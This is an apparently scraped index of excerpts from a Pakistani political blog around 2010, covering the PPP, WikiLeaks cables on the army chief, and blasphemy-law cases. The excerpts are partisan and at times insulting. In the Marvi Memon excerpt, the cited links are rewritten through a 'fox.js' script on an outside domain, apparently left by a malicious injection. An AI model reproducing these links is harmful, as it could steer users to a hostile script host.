Zardari to accomplish Bhutto’s mission -by Sharmila Farooqi: We will build a society in which the old values of greed and advancement will be replaced by a common concern for the welfare of the whole community – Zulfikar Ali Bhutto. The Pakistan People’s Party was founded on

US embassy cables: Pakistani army chief hints at unseating Zardari: Related articles: Wikileaks on General Kayani and his ‘democratic’ puppets Wikileaks reconfirm the Taliban ISI Alliance (LUBP update 29 Nov 2010) General Kayani allowed US special forces to secretly operate in Pakistan Thursday, 12 March 2009, 04:28 S E

Wikileaks on General Kayani and his ‘democratic’ puppets: Related articles: WikiLeaks unmasks who are our real puppet-masters? Wikileaks reconfirm the Taliban ISI Alliance (LUBP update 29 Nov 2010) General Kayani allowed US special forces to secretly operate in Pakistan ‘President’ Kayani is the most powerful man of

We did not come this far to fail – by Saria Benazir: Those were the incredible instants of the history of Pakistan – At a caucus, held on December 30, 1967, Pakistan Peoples’ Party was founded in Lahore and the “enigmatic” Leader of the People, familiarly “Quaid-e-Awam” Shaheed Zulfiqar Ali Bhutto

Bharata Natyam in Lahore – by Ahmad Bashir: Courtesy: Nia Zamana Nov 2010

Blasphemy, Asia Bibi and cheap religious emotionalism – by Wajahat Masood:

Everlasting relationship between PPP and masses -by Sharmila Farooqi:

An advice to Naheed Khan – by Abbas Ather: Related articles: ‘Touch my workers and I will not let you loose alive.’ “Real workers of PPP can never support Zardari.” Really? – by Khalid Wasti An open letter to Senator Dr Safdar Abbasi On Safdar Abbasi’s participation in

Forty-four years of Pakistan Peoples Party (1967-2010) – by Riaz Ali Toori: Related articles: A brief history of PPP: mauj mela, madari, maqtal – by Hasan Mujtaba A Critical View: Understanding the Politics of PPP‏ – By Ahmad Nadeem Gehla Ayub Khan lost at the negotiation table at Tashkent the war

Waiting for Ayatollah Godot – by Dr Abbas Zaidi: Even in the intensely divided and zero-tolerance society of Pakistan, we do have a consensus on something. If you ask a man in the street what the cure to Pakistan’s problems is, the invariable answer is: a messiah. We

Conflict will continue and so will change – by Naveed Ali: I am part of different groups and circles, and for me most difficult aspect of keeping good relationship is increased extremism and decreased tolerance; people no more capable to accept other beliefs. And it does not matter if they

Karwaan-e-jamhooriyat ka safar – by Ahsan Abbas Shah:

Sherry Rehman submits bill in National Assembly for amendment to blasphemy laws: Pakistan People’s Party MNA Sherry Rehman, while lending support to blasphemy convict Aasia Bibi, on Monday called for urgent amendments to the country’s blasphemy laws. Sherry Rehman, the former minister of information and spokesman for the Pakistan People’s Party

Kayani dictates talking points to “free media”: Also read: General Kayani explains his position on WikiLeaks via Haroon-ur-Rashid This is a fascinating report in Dawn about a briefing given by a “top military official” to “editors, anchors, and columnists” on Sunday. The top military official gave

Christian teen boy convicted of ‘blasphemy’ nearly stoned to death in prison: Pakistan has not yet executed anyone for blasphemy, but dozens are imprisoned on blasphemy charges, which many right activists and lawyers said are levelled to settle personal disputes. Pressure is growing on Pakistan to amend its blasphemy laws, but

King Abdullah, the great-grandson of Abu Jahl – by Omar Khattab: Wikileaks have made it clear what the world already knew: That King Abdullah, the notorious womanizer-cum-custodian of the Ka’aba carries on the work of King Fahad the boozer who, in turn, continued the task which was initiated by the

‘Touch my workers and I will not let you loose alive.’: Related articles: “Real workers of PPP can never support Zardari.” Really? – by Khalid Wasti An open letter to Senator Dr Safdar Abbasi On Safdar Abbasi’s participation in Geo TV’s Capital Talk – by Abdul Nishapuri Sleeping with the

CJ murder plot: Top cops tortured on Shahbaz Sharif’s instructions – by Rauf Klasra: Related articles: We look forward to the follow up story to the plot to kill Justice Sharif- by Chaudry Ahmad Khan and Ahmad Iqbalabadi Special Branch Report to kill Khwaja Sharif “false and baseless” The alleged Plot to kill

In support of Aasia bibi – by Tahir Sarwar Mir: Related articles: Mullah’s campaign against Aasia bibi is a blasphemy to Islam – by Rauf Klasra Blasphemous distortion of Islamic law – by S Iftikhar Murshed

Nawaz Sharif’s sectarian poodle in Lahore High Court stays Aasia bibi’s release: Related articles: Justice Khawaja Sharif speaks once again, this time against Hindus – by Abdul Nishapuri Chief Justice of Punjabi Taliban Khawaja Muhammad Sharif blocks deportation of terror suspects “Blackwater responsible for the Data Darbar attack” The story of

A rare instance on the part of a Baloch nationalist leader to condemn target killings of Punjabis: Cross-posted from The Baloch Hal Related articles: BLA terrorists kill four Punjabis in Balochistan’s border town In defence of Punjabis: Stop target killing of Punjabi settlers in Balochistan – by Abdul Nishapuri LUBP Punjabi settlers archive Balochistan’s first ever

Reasons of reticence -by Ammar Rashid: Why can’t we repeal the blasphemy laws? Much has been said about the need to repeal Pakistan’s dreaded blasphemy laws in the wake of the repeated tragedies that have visited Pakistan’s minorities (as well as Muslims) in their name.

Marvi Memon is hungry for Islamabad flats – by Amjad Rashid: As I have previously written about the internet cheating of Marvi Memon in politics, I thank thousands of people who appreciated that article which was based on true facts and proofs. The web addresses are: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.pakspectator.com/marvi-memon-is-cheating-in-internet-politics/ http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&bhuttowisdom.blogspot.com/2010/11/marvi-memon-cheating-in-internet.html Now I

Christian boy Muslim girl marriage forcing Christians to flee Karachi: Related Article: It’s ok if a Muslim boy loves a Christian girl but…. Several Christian families at Saeedabad in Karachi have fled their homes while many others have sent their women to safer grounds, following threats issued by the

A Lesson in media manipulation – by Eqbal Alavi: Today’s US diplomatic cables leak by Wikileaks, called Cablegate has set off a global diplomatic crises with various countries feeling the heat for remarks and allegations in the leaked messages. While none of the 2, 200 emerging from the

Wikileaks reconfirm the Taliban support in Pakistani establishment: Related articles: Wikileaks on General Kayani and his ‘democratic’ puppets King Abdullah, the great-grandson of Abu Jahl – by Omar Khattab The whistle-blowing site Wilileaks has released a cache of 250,000 secret messages sent by US diplomatic staff. Here

A brief history of PPP: mauj mela, madari, maqtal – by Hasan Mujtaba: Related articles: Zulfiqar Ali Bhutto slaps General Zia and Ziaists from his grave – Hasan Nisar What is the difference between ZAB, Benazir Bhutto and other politicians? – by Munno Bhai Why Zulfiqar Ali Bhutto loved us – by

Iqbal’s notion of ‘khudi’: Related articles: Iqbal’s and Jinnah’s vision of Pakistan – Dr Javid Iqbal Allama Iqbal and Ahlul-Bayt Allama Iqbal, Bacha Khan and terrorists – by Suroosh Irfani اقبال کا تصور خودی اقبال کا پیغام یا فلسفہ حیات کیا ہے اگر

Blasphemous distortion of Islamic law – by S Iftikhar Murshed: The death sentence handed down on Aasia Bibi over allegations of blasphemy has brought shame to Pakistan and been roundly condemned worldwide. It has also distorted the teachings of Islam. Punjab governor Salmaan Taseer, despite his murky track record

The urban, middle class, ‘civil society’ revolutionaries – by Nadeem F. Paracha: Related article: In rejection of pseudo-liberals of Pakistan – by Sarah Khan We shall overrun: The young, urban, middle-class Pakistani’s manifesto – by Nadeem Paracha and Abbas Baloch The Civil Society Bulletin – by Abbas Baloch Smokers’ Corner: Che,

The Barelvi-Deobandi feud and ‘becharay’ Pakistani – by Tanvir Qaiser Shahid:

President Zardari’s rational politics – by Abbas Mehkari: آخر کوئی بات تو ہے نشیب و فراز…عباس مہکری یہ اُن دنوں کی بات ہے جب این آر او اور سوئس کیس کے حوالے سے بہت شور شرابہ ہورہا تھا اور کچھ لوگ یہ پیش گوئیاں کررہے تھے کہ

The impact of blasphemy laws on human rights: The whole world is deeply shocked and concerned over Asia Bibi’s death sentence for blasphemy, issued by a local court in Pakistan. Concerned citizens and human rights activists say the case of Asia Bibi – the first woman to

Kafir Kafir, Salman Tasir Kafir: Related articles: Mullah’s campaign against Aasia bibi is a blasphemy to Islam – by Rauf Klasra Extremist Barelvis vomit hate and violence خدا کا خوف کرو سویرے سویرے …نذیرناجی بحث قانون اور اس کے نفاذ پر ہو رہی ہے

On Babar Awan’s statement on the blasphemy law: Ansar Abbasi and various of his friends and followers in Pakistn’s mainstream and alternative media have recently mentioned Babar Awan’s statement on the blasphemy law. According to the original article by Ansar Abbasi published in The News, the statement

A Critical View: Understanding the Politics of PPP‏ – By Ahmad Nadeem Gehla: Related articles: Forty-four years of Pakistan Peoples Party (1967-2010) – by Riaz Ali Toori A brief history of PPP: mauj mela, madari, maqtal – by Hasan Mujtaba Pakistan People’s Party is a party of masses. Majority of its supporters

Kurram Shias forced to give ‘good Taliban’ new Afghan access – by Kathy Gannon: Related articles: Mr Zardari, Is Kurram Agency a part of Pakistan? Finally, ISI openly blockades Shias in Kurram to enforce their subservience to Taliban Shia population of Kurram agency: Between the military and militants — by Farhat Taj Shiite

Pakistan’s federal minister for tourism: Right man for the right job – by Irfan Hussain: I became convinced that Asif Zardari had a sense of humour when I first learned of the appointment of Maulana Attaur Rehman as the federal minister for tourism. Who better than this bearded, rotund cleric as the face of

Is democracy the right policy-matrix for good governance in Pakistan? – by Qudrat Ullah: According to the latest report “The State of Economy: Pulling Back From the Abyss,” released by the Institute of Public Policy of the Beaconhouse National University, Lahore “Pakistan remained abysmally at the bottom among South Asian States as it

Hockey Gold and Aqil Shah: Images of KP sports minister Aqil Shah celebrating today’s hockey victory was so hearting. Aaqil Shah survived  a massive bomb attack   during closing ceremony of  Inter-Provincial games in November 2008. Aqil Shah and PPP KP President Zahir Shah were inside the  Qayyum